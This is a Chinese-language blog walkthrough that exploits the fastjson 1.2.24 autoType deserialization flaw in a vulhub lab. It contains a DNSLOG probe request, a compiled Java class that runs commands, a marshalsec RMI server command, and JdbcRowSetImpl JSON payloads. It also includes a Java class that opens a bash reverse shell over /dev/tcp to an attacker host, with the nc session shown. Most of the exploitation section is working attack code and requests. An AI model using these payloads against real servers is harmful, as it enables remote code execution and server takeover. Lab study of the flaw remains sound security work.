fastjson 1.2.24 反序列化导致任意命令执行漏洞

2024-06-14 360 0

vulhub路径 : vulhub/fastjson/1.2.24-rce

一、漏洞背景

fastjson

fastjson用于java对象和json格式间的互相转换。fastjson引入autoType,即在序列化的时候把原始类型记录下来,使用@type表示。在解析json的过程中,使用autoType来实例化某一个具体的类,并调用该类的setter/getter方法来访问属性。利用fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。

影响版本

Fastjson<1.2.25

二、利用DNSLOG进行漏洞验证

1、开启靶场环境:

docker compose up -d
docker ps                
CONTAINER ID   IMAGE                   COMMAND                 CREATED         STATUS         PORTS                                       NAMES
6fe8d8e3b864   vulhub/fastjson:1.2.24   "java -Dserver.addre…"   10 seconds ago   Up 9 seconds   0.0.0.0:8090->8090/tcp, :::8090->8090/tcp   1224-rce_web_1

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图

burpsuite抓包判断使用了fastjson组件。

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图1

2、确定漏洞是否存在

  • 打开dnslog网址获取一个临时的域名ab9bc0b7.dnslog.store

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图2

  • 然后在8090端口重新请求数据包,修改包的请求方式为POST,修改Content-Typeapplication/json,添加包体内容,参数val中的内容为域名地址ab9bc0b7.dnslog.store

POST / HTTP/1.1
Host: your-ip:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 71

{"tpa":{"@type":"java.net.Inet4Address","val":"ab9bc0b7.dnslog.store"}}
  • 查看dnslog网站,点击Get Results获取结果,可以看到靶机确实向平台发起了针对 ab9bc0b7.dnslog.store域名的请求,这说明了漏洞确实存在,我们可以控制目标服务器的行为。

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图3

因为,fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,验证漏洞的存在。进一步,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。

三、漏洞利用

1、环境:

docker 靶机:ip1:8090

虚拟机 centos7:jdk=1.8

攻击机 :ip2:8083

win10:jdk=1.8

宿主机,安装配置好java,python环境(或者apach环境)

虚拟机用NAT网卡模式,可以与宿主机互相通信(可以互相ping通)

靶场环境:ip3

2、编译恶意代码为class文件。

Python服务器(win/ip2:8083)上创建TouchFile.java,在cmd中执行javac TouchFile.java,得到.class文件。

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
 try {
     Runtime rt = Runtime.getRuntime();
     String[] commands = {"touch", "/tmp/success"};
     Process pc = rt.exec(commands);
     pc.waitFor();
} catch (Exception e) {
     // do nothing
}
}
}

打开phpstudy,开启apach服务,并将TouchFile.class文件放置在能访问到的目录中。这里选择的地址是:

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图4

centos7服务器访问地址为 http://ip2:8083/TouchFile.class成功下载文件,表示资源可以被访问。

3、搭建RMI环境

借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class。方式:利用maven环境编译marshalsec工具,或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar

[root@bogon 下载 ]$ ls
cJSON __MACOSX marshalsec-0.0.3-SNAPSHOT-all.jar TouchFile.class
  • 启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip2:8083/#TouchFile 2335

4、启动docker靶场

[root@bogon 下载 ]$ cd /var/local/soft/vulhub/fastjson/1.2.24-rce
[root@bogon 1.2.24-rce ]$ docker-compose up -d
Creating network "1224-rce_default" with the default driver
Creating 1224-rce_web_1 ... done

5、使用 burpsuite 构造恶意包,使其在 /tmp目录下生成success文件:

payload内容:

POST / HTTP/1.1
Host: ip1:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 161

{
"b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://ip2:2335/TouchFile",
 "autoCommit":true
}
}

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图5

6、结果验证

  • rmi服务器显示有连接

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图6

  • 从虚拟机进入dokcer内部查看文件是否构建成功。

[root@bogon 1.2.24-rce ]$ docker ps
CONTAINER ID   IMAGE                   COMMAND                   CREATED         STATUS         PORTS                                       NAMES
ef5faef2c1df   vulhub/fastjson:1.2.24   "java -Dserver.addre…"   6 minutes ago   Up 6 minutes   0.0.0.0:8090->8090/tcp, :::8090->8090/tcp   1224-rce_web_1
[root@bogon 1.2.24-rce ]$ docker exec -it ef5faef2c1df bash
root@ef5faef2c1df:/# ls /tmp
hsperfdata_root success tomcat-docbase.7948629231789132954.8090 tomcat.3902379389831924638.8090
root@ef5faef2c1df:/#

7、尝试webshell

(1)创建shell.java,并执行javac shell.java进行编译,将生成的文件放入到指定目录下。

import java.lang.Runtime;
import java.lang.Process;
public class shell{
static {
 try {
     Runtime rt = Runtime.getRuntime();
     String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/ip2/19527;cat <&5 | while read line; do $line 2>&5 >&amp5; done"};
     Process pc = rt.exec(commands);
     pc.waitFor();
} catch (Exception e) {
     // do nothing
}
}
}

(2)然后,在cmd中开启rmi服务:

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图7

(3)下载、配置环境变量并开启nc服务:

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图8

注意:如果电脑上开启火绒,需要关掉,否则会把nc文件给删除。

(4)在靶场中使用 burpsuite 发包,包体内容如下:

POST / HTTP/1.1
Host: ip1:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 0

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip2:2335/shell",
"autoCommit":true
}
}

(5)结果验证:

rmi服务:

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图9

nc可以连接并执行命令:

fastjson 1.2.24 反序列化导致任意命令执行漏洞插图10


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论